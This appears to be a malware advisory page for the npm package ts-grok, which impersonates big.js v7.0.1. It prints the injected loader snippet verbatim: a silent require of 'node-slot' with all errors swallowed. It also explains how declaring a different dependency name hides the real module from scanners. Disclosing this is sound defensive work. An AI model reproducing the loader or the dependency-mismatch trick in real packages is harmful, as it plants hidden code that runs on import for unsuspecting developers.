VDB
KO

MAL-2026-6321

Malicious code in ts-grok (npm)

Details

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d) Package ts-grok ships a verbatim copy of big.js v7.0.1 (same banner, author 'Michael Mclaughlin', repository URL https://github.com/MikeMcl/big.js.git, and identical keywords) with a single foreign code block injected into both big.js and big.mjs: `try { const doc = require("node-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The require fires whenever a consumer imports the package, and all errors are swallowed so the call is invisible. The declared runtime dependency in package.json is 'block-slot' (^1.0.9), not 'node-slot' — the actual loaded module name does not match anything declared, so dependency-review tooling and SCA scanners auditing package.json will not see the real second-stage module. Whatever 'node-slot' resolves to in the installer's node_modules is executed silently at import time. The package has no legitimate relationship to big.js; the impersonation is the lure and the hidden loader is the payload.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / ts-grok

No fixed version published yet for ts-grok (npm). Pin to a known-safe version or switch to an alternative.

References